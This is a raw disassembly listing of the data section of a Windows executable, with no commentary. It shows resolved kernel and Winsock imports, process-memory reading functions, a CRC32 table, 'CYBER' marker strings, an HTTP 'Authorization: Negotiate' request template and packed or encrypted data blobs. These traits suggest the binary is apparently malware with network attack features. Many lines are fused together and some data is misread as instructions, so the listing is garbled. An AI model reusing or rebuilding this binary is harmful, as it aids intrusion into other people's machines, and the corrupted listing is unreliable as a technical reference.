		dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh
		dd 7C80E866h
dword_42711C	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_427120	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; .nsp0:0041667Er ...
		dd 7C81B58Bh, 7C80A05Dh, 7C873A31h
dword_427130	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_4157A6+Dr ...
		dd 7C80A427h, 7C82FA46h, 7C80ABDEh
dword_427140	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_427144	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4176E9+F5r ...
dword_427148	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; .nsp0:004178BCr ...
dword_42714C	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; .nsp0:004178B2r ...
dword_427150	dd 7C80B9A0h	; resolved to->KERNEL32.VirtualQueryEx					; sub_417A19+55r
dword_427154	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_427158	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfo					; sub_417A19+2Er
		dd 7C82F7A0h
dword_427160	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_427164	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C8329D9h
dword_427180	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; .nsp0:00422BC8r ...
dword_427184	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_41DF04+54r ...
dword_427188	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA		dd 7C81AE17h, 7C85F90Fh, 7C830B14h, 7C8310F2h
dword_42719C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41EA06+28r
dword_4271A0	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh
dword_4271B4	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4271B8	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_4271BC	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_4271C0	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_4271C4	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41EAB7+51r
		dd 7C809E79h, 7C812E76h, 7C809915h, 0
dword_4271D8	dd 71B2517Fh			align 10h
dword_4271E0	dd 71AB46C9h	; resolved to->WS2_32.getsockopt		dd 71AB2B66h, 71AB3F41h
dword_4271EC	dd 71AB4428h	; resolved to->WS2_32.WSACleanupdword_4271F0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40F77A+15r
dword_4271F4	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_413CC1+70r ...
dword_4271F8	dd 71AB3E00h	; resolved to->WS2_32.binddword_4271FC	dd 71AB88D3h	; resolved to->WS2_32.listendword_427200	dd 71AC1028h	; resolved to->WS2_32.acceptdword_427204	dd 71AB8769h	; resolved to->WS2_32.WSASocketAdword_427208	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40EAA2+36r ...
dword_42720C	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40EAA2+59r ...
dword_427210	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_40F168+5Ar
dword_427214	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40E18F+28Br ...
dword_427218	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40E18F:loc_40E5E5r ...
dword_42721C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40E18F+15r ...
dword_427220	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40E18F+A4r ...
dword_427224	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40F168+106r
dword_427228	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_42722C	dd 71AB951Eh	; resolved to->WS2_32.getsocknamedword_427230	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40EAA2+27r ...
		align 8
dword_427238	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: .nsp0:00404F7Do
					; .nsp0:00405060o ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: .nsp0:00405384o
					; .nsp0:004053C0o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D12A+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40CF3C+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40CF3C+15r
dword_427698	dd 0FFFFFFFFh						; sub_40D3C6r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40CF88+79r
dword_4276A8	dd 0							; sub_40D476+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: .nsp0:0040DF83r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: .nsp0:00416CBFr
					; .nsp0:00416CDAr ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_4180E3+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_4180E3+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_4180E3+342r
					; sub_4180E3+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_4180E3+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_4180E3+24Br
					; sub_4180E3+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_4180E3+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_4180E3+AEr
					; sub_4180E3+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_4180E3+93r
					; sub_4180E3+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_4180E3+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418F1D+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41AD75+1AEr
flt_42770C	dd 8.0			; DATA XREF: sub_41AD75+1A8r
					; sub_41F504+4Ar
flt_427710	dd 0.0			; DATA XREF: sub_41AD75+16Fr
flt_427714	dd 1.0e-3		; DATA XREF: sub_41AD75+166r
dbl_427718	dq 1.0			; DATA XREF: sub_41CD19+6Cr
					; sub_41CE5F+6Cr ...
dword_427720	dd 0FFFFFFFFh, 41E0DAh,	41E0EEhbyte_42772C	db 6			; DATA XREF: sub_41F504:loc_41F55Br
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_44277Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_442778o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_4429F4o
		align 8
dbl_427858	dq 0.0			; DATA XREF: sub_4211C4+8Cr
					; sub_4211C4+ACr ...
dbl_427860	dq 4.195835e6		; DATA XREF: sub_4216D9+Fr
dbl_427868	dq 3.145727e6		; DATA XREF: sub_4216D9+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421717+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_421717o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_42183E+93o
		align 10h
dword_4278A0	dd 0FFFFFFFFh, 421F29h,	421F33h, 0dword_4278B0	dd 0FFFFFFFFh, 0		dd offset loc_4220AF
		align 10h
		dd offset sub_42208D
		dd offset sub_422097
dword_4278C8	dd 0FFFFFFFFh, 4222DFh,	4222E3h, 0dword_4278D8	dd 0FFFFFFFFh, 422341h,	42234Ah, 0dword_4278E8	dd 0FFFFFFFFh, 0		dd offset loc_42241D
		align 8
		dd offset loc_422409
		dd offset loc_42240D
dword_427900	dd 0FFFFFFFFh, 0		dd offset loc_422473
		align 10h
		dd offset loc_42245F
		dd offset loc_422463
dword_427918	dd 2 dup(0)						; .nsp0:00423B88o ...
dword_427920	dd 0FFFFFFFFh, 422ACBh,	422ACFh, 0FFFFFFFFh, 422B7Fh, 422B83h
					; DATA XREF: .nsp0:004229C0o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_442E4Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0
		align 4
		db 0Ah
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0
aProgramNameUnk	db '<program name unknown>',0
		align 8
dword_427C28	dd 0FFFFFFFFh, 423C48h,	423C4ChaSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42464C+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: .nsp0:00424CEAo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: .nsp0:00424CE2o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: .nsp0:00424CD1o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4254EE:loc_4255E3o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4254EE+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4254EE+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4254EE+ADo
		align 4
dword_427CC8	dd 0FFFFFFFFh, 425EE6h,	425EEAh, 0FFFFFFFFh, 425F55h, 425F59h
					; DATA XREF: sub_425D2F+5o
		dd 427E18h
off_427CE4	dd offset loc_426488	; DATA XREF: sub_426290+4Do
					; sub_4264A4+Co
		dd offset sub_42634E
		dd offset sub_42646B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_426290+1Eo
		dd offset dword_427E50
off_427D04	dd offset loc_4263B5	; DATA XREF: sub_4262EA+4Eo
					; sub_426378+11o ...
		dd offset sub_42634E
		dd offset sub_42635B
		dd offset dword_427EA0
off_427D14	dd offset loc_426570	; DATA XREF: sub_4264BC+4Do
					; sub_42658C+Co
		dd offset sub_42634E
		dd offset sub_426553
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4264BC+1Eo
		dd offset dword_427ED0
off_427D3C	dd offset sub_426674	; DATA XREF: sub_426690+8o
					; sub_4266CD+8o ...
		dd offset sub_42672D
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42672D+7o
		align 4
		dd offset dword_427F18
off_427D5C	dd offset loc_42674F	; DATA XREF: sub_42673Ao
					; .nsp0:off_4432F8o ...
dword_427D60	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
dword_427D80	dd 0FFFFFFFFh, 42691Ch,	426920h, 0FFFFFFFFh, 426999h, 42699Dh
					; DATA XREF: .nsp0:0042681Fo
dword_427D98	dd 0FFFFFFFFh, 426B91h,	426B95h, 0FFFFFFFFh, 426BEEh, 426BF2h
					; DATA XREF: .nsp0:00426AAAo
		dd 4432F8h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DC8	dd offset off_443310	; DATA XREF: .nsp0:00427DFCo
					; .nsp0:00427E30o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_427DE0	dd offset off_443330	; DATA XREF: .nsp0:00427DF8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DE0
		dd offset off_427DC8
		dd offset dword_427D98+18h
		dd 0
		db    0			; DATA XREF: .nsp0:00427E28o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DF8h, 3 dup(0)
		dd offset off_443330
		dd offset unk_427E08
		align 10h
		dd offset off_427DC8
		dd offset dword_427D98+18h
dword_427E38	dd 4 dup(0)			dd 2, 427E30h
dword_427E50	dd 3 dup(0)			dd offset off_443310
		dd offset dword_427E38+8
		align 8
off_427E68	dd offset off_443350	; DATA XREF: .nsp0:00427E80o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E68
		dd offset off_427DC8
		dd offset dword_427D98+18h
dword_427E8C	dd 3 dup(0)			dd 3, 427E80h
dword_427EA0	dd 3 dup(0)			dd offset off_443350
		dd offset dword_427E8C+4
		dd offset dword_427D98+18h
dword_427EB8	dd 4 dup(0)			dd 1, 427EB4h
dword_427ED0	dd 3 dup(0)			dd offset off_4432F8
		dd offset dword_427EB8+8
		align 8
off_427EE8	dd offset off_443370	; DATA XREF: .nsp0:00427F00o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427EE8
		dd 0
		db    0			; DATA XREF: .nsp0:00427F28o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427F00h
dword_427F18	dd 3 dup(0)			dd offset off_443370
		dd offset unk_427F08
		align 10h
dword_427F30	dd 19930520h, 2, 427F50h, 5 dup(0)		dd 0FFFFFFFFh, 426C74h,	0
		dd offset loc_426C6C
dword_427F60	dd 19930520h, 2, 427F80h, 5 dup(0)		dd 0FFFFFFFFh, 426C98h,	0
		dd offset loc_426CA0
dword_427F90	dd 19930520h, 2, 427FB0h, 1, 427FC0h, 3	dup(0)
					; DATA XREF: .nsp0:loc_426CB4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FD8h, 4	dup(0)
		dd offset loc_40D6E0
		dd 0
		dd offset off_4432F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4266CDh, 2 dup(0)
		dd offset off_443310
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4263D1h, 2 dup(0)
		dd offset off_443330
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4264A4h, 0
dword_428048	dd 3, 428028h, 428008h,	427FE8hdword_428058	dd 0							; sub_42646B+12o
		dd offset sub_42642E
		dd 0
		dd offset dword_428048
dword_428068	dd 19930520h, 1, 428088h, 5 dup(0)		dd 0FFFFFFFFh, 426CC0h
dword_428090	dd 19930520h, 1, 4280B0h, 5 dup(0)dword_4280B0	dd 0FFFFFFFFh, 426CD4h,	2, 428008h, 427FE8h, 0dword_4280C8	dd 0				dd offset sub_426378
		dd 0
		dd offset dword_4280B0+8
dword_4280D8	dd 19930520h, 1, 4280F8h, 5 dup(0)		dd 0FFFFFFFFh, 426CE8h
dword_428100	dd 19930520h, 1, 428120h, 5 dup(0)		dd 0FFFFFFFFh, 426CFCh
dword_428128	dd 19930520h, 1, 428148h, 5 dup(0)		dd 0FFFFFFFFh, 426D10h,	0
		dd offset off_443350
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42658Ch, 0
dword_428170	dd 3, 428150h, 428008h,	427FE8hdword_428180	dd 0							; sub_426553+12o
		dd offset sub_426516
		dd 0
		dd offset dword_428170
dword_428190	dd 19930520h, 1, 4281B0h, 5 dup(0)		dd 0FFFFFFFFh, 426D24h
dword_4281B8	dd 19930520h, 1, 4281D8h, 5 dup(0)		dd 0FFFFFFFFh, 426D38h,	28408h,	2 dup(0)
		dd 2847Eh, 271D8h, 28410h, 2 dup(0)
		dd 28494h, 271E0h, 28230h, 2 dup(0)
		dd 28CFAh, 27000h, 5 dup(0)
		dd 0F1036C3Eh, 884B0CB1h, 0C478E7C4h, 3B005928h, 11A8548Fh
		dd 10AE9B47h, 6C73A4FBh, 452CBAB3h, 0CFE2E49Eh,	65367E63h
		dd 3BAFFAEDh, 0FDA946h,	0A3BEBA4h, 36ADF5C5h, 52BC02DFh
		dd 0E518726Dh, 738C2B3Ah, 91B94939h, 0C5F8976Bh, 0BA6337AEh
		dd 33DC82D7h, 3B18A85Eh, 0FBBBB6B2h, 6DB58657h,	0A4ACE55Ah
		dd 26C5099Ch, 0D2A96B47h, 1E458E1Ch, 0B22F6C93h, 5610592Ah
		dd 3D48D393h, 307D8DA6h, 0E8F5D8Dh, 0D6BADD46h,	8C6B561Dh
		dd 1F469DFBh, 0C9F2AF90h, 0AF3E60B2h, 0D8779DF0h, 24350593h
		dd 0C0A38200h, 5C9407C3h, 74C41A9Ah, 0AE5BEA40h, 79421742h
		dd 0D8BC8EFDh, 4C4E91F1h, 32AE787Ah, 0E540E06Fh, 0C528E9AFh
		dd 0A4119F64h, 0AEC7078Fh, 95F7F37Eh, 624967ACh, 912C1A83h
		dd 0A1074FBCh, 6CBD2D1Eh, 95620D64h, 0BC67AF54h, 0F2ECEB82h
		dd 0BC3AFC3h, 1588A264h, 9BB4BA21h, 385F8860h, 14F97637h
		dd 392B874h, 81E3D7B2h,	81F67FA2h, 2056BECDh, 0F4B9197Fh
		dd 0D472C777h, 22EB99Ch, 2EE48E6Bh, 0BC7F8DE1h,	9BFD01E7h
		dd 4491BB02h, 924D6334h, 7587E4BEh, 1BF4EE3Bh, 15EB626h
		dd 717C1E8Ah, 45900B7Eh, 771FE28Eh, 0DF0AD45Bh,	7B1C6533h
		dd 0F3BBCC71h, 0ADC887B7h, 0EC3138B0h, 12FDE1A7h, 0B9900393h
		dd 0CC4F107Fh, 0A165A468h, 485D22E5h, 929A2088h, 96C152FAh
		dd 5CD42B8Fh, 0FB2B185Dh, 0E6D84243h, 0C4AB0FA6h, 9EF3FDB2h
		dd 557B2675h, 50FD2C53h, 3E7AB3C5h, 3F0840F8h, 72E5D8EFh
		dd 0B060ED8h, 13ADF679h, 0BFAAF59Fh, 3B8A2427h,	88AC463Bh
		dd 6CA0D2C4h, 0A68AF6ECh, 585EFB48h, 825627D0h,	7B659289h
		dd 68417EDFh, 0D7293E8Ch, 0
		dd 0CE84D27Bh, 0
		dd 1BB97791h, 0EFD8384Bh, 24665E57h, 0AAD61AB2h, 87CE6EBh
		dd 2C961302h, 55965D86h, 861D4410h, 63691269h, 0D8D3B28Fh
		dd 56481357h, 0B4C0B6D9h, 0DB1616CDh, 0D2420882h, 92F0E92Dh
		dd 0E9DD51BEh, 0EAE4EABBh, 9AEE49E7h, 0CE1EC4BAh, 73D3BDE6h
		dd 0AD87C87Eh, 0
; ---------------------------------------------------------------------------
		push	es
		add	[edx-54h], ch
		jmp	short loc_4284B5
; ---------------------------------------------------------------------------
		dw 29Eh
		dd 45837873h, 97CE4B5Eh, 21FD0DF6h, 0FE4D0069h,	741B57A7h
		dd 3D00CFh, 90B48D52h, 8B55C626h, 0D2ADh, 3E2934DFh, 725C0754h
		dd 7C0Fh, 0B0B20296h, 0B5E665h,	19A007Dh, 0ED9CB8B3h, 2D3F9D3h
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_4284B5:				; CODE XREF: .nsp0:0042846Cj
		add	[ebx], bl
		add	[ebx+10h], ah
		stc
		in	al, dx
		push	47A730A5h
		jl	short near ptr dword_428410+4Eh
		add	[eax+eax+38h], al
		insb
		stosb
; ---------------------------------------------------------------------------
		db 0FEh, 38h, 9Dh
		dd 5F8AA044h, 0FA94E69h, 1240000h, 9244141Ah, 0F0C13D60h
		dd 18EE677Bh, 5C8BF5AAh, 434Fh,	99680159h, 0BE4911DEh
		dd 7906DFE6h, 0D36EE258h, 448D61EEh, 4A0017h, 611EA87Ch
		dd 15268641h, 0BE1B17A7h, 570000h, 473DDB7Bh, 93E74BEBh
		dd 58180Dh, 0E68101EFh,	3651D82Ch, 4B7E5BB9h, 0F800BCh
		dd 0A54DAA86h, 0BB761058h, 31F21E13h, 7336586Ah, 7E21E4h
		dd 0D1AF011Ah, 347906B0h, 87996BB0h, 2C7Fh, 0F0C80028h
		dd 34019585h, 7651B5h, 0A6C40268h, 0A1ADD4D0h, 0C6194C5h
		dd 8014B3CCh, 0AA73FD9Ch, 10D0000h, 2D7CBE2Dh, 62CEFCA6h
		dd 0D317EC06h, 29583D6Eh, 63FEh, 3E420126h, 9554BB2Eh
		dd 615B0Ah, 8CAD335Dh, 2BB9h, 0C2FC02CEh, 78210EBh, 0DA930498h
		dd 0C031F8E4h, 44279EC5h, 3F006Eh, 35F812E6h, 56855E60h
		dd 86B8CD53h, 16D0000h,	0A9DA35BEh, 0FF72F49h, 0CD0999C4h
		dd 29F0000h, 0C4200D42h, 1D0DF7F4h, 0F0014B2Ah,	0BBF623h
		dd 0C6320165h, 38AF19DEh, 7270B2C5h, 8C88h, 690801DDh
		dd 0B3C8F0DBh, 16C172h,	2A3E01C2h, 4F6CCDB0h, 485F0F21h
		dd 14A4h, 0A467013Eh, 0A5E76FFDh, 12EF4635h, 9FD29B2Bh
		dd 0CE0000h, 0A4DDD0EBh, 0DB112B82h, 0E4BBFAEAh, 83755405h
		dd 11C0000h, 0C5A8C20Bh, 0A7AF8B75h, 87D0E340h,	0B539h
		dd 93DC0175h, 40B1F467h, 0A2526612h, 0BF6073h, 0B7B7007Eh
		dd 0AEFDA9A2h, 1E31E8C3h, 1C10000h, 0D9AF969Fh,	0C62B4E68h
		dd 0BE73938Fh, 96F086E6h, 0EA9B9F4Bh, 660000h, 0F13C9D26h
		dd 76C71CBEh, 34FBA058h, 0AFF136CDh, 0C0374A7Dh, 1AB0000h
		dd 49EACFCDh, 0B8630C4Eh, 953610D2h, 17BF610h, 3E4CF7B2h
		dd 77D115B7h, 0A9920869h, 14D99646h, 0A14EC43Dh, 550005h
		dd 4C1E1487h, 214080F6h, 0C64E4989h, 5D6D06BFh,	54784819h
		dd 2DF002Bh, 7A4CF34Ah,	9C94DF2h, 310011h, 0DBED416Bh
